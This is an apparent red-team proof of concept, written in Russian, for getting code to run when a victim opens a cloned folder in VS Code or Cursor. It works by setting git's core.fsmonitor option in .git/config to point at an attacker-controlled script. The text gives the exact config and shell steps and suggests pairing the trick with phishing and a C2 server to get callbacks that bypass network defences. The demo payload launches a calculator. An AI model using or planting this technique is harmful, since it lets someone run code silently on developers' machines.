
Это proof-of-work для эксплуатации «fsmonitor» против IDE.
Это документированная (известная) проблема, но я обнаружил её в ходе своего исследования, и она довольно полезна для RT/PT.
Краткое описание: Помощник FSMonitor запускается git при каждой команде, такой как git status, git diff и т. д., поэтому git слепо запускает любой путь, который мы там укажем. Наши IDE автоматически выполняют git status в момент открытия папки для заполнения панели SCM (Source Control Management);
Это позволяет git запустить настроенного помощника, который выполняет код, управляемый атакующим. Этот метод можно использовать во время RT или в сценарии предположения компрометации с любым C2 или нашим XRayC2 для получения обратного вызова, обходящего традиционные сетевые защиты. (Конечно, фишинговые письма требуются для обмана конечного пользователя, но открытие папки в IDE кажется обычной операцией).
Доказательство работоспособности: git clone этого репозитория, добавьте конфигурацию ниже в свой каталог .git. После этого откройте созданную папку в IDE — должен появиться калькулятор. (Я тестировал это на Code и Cursor). Этот POC предназначен для macOS, измените его под свою среду.
bash-3.2$ cd git-fsmonitor
bash-3.2$ mkdir .git
bash-3.2$ nano .git/config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
ignorecase = true
precomposeunicode = true
fsmonitor = ./icons/icons.sh
bash-3.2$ chmod +x ./icons/icons.sh
bash-3.2$ git init
bash-3.2$ git config core.fsmonitor ./icons/icons.sh
bash-3.2$ ls git-fsmonitor-main/.git/
.DS_Store config description HEAD hooks/ info/ objects/ refs/
bash-3.2$
Протестировано на Code
Version: 1.106.0 (Universal)
Commit: ac4cbdf48759c7d8c3eb91ffe6bb04316e263c57
Date: 2025-11-11T16:02:25.943Z
Electron: 37.7.0
ElectronBuildId: 12597478
Chromium: 138.0.7204.251
Node.js: 22.20.0
V8: 13.8.258.32-electron.0
OS: Darwin x64 25.1.0
https://github.com/user-attachments/assets/4702aadc-f12d-4380-bc6f-bcd564ddcf96
Это работает, потому что мы инициализируем репозиторий, а затем добавляем core.fsmonitor в файл (который может быть полезной нагрузкой). Таким образом, открытия папки достаточно для выполнения вашего кода. «Большинство» разработчиков/пользователей имеют ~/Downloads (и подобные корневые папки) в своем доверенном рабочем пространстве, поэтому PoC выполняется беззвучно; но если репозиторий находится за пределами этих доверенных путей, IDE запросит «доверять этому издателю?» перед чтением .git/config.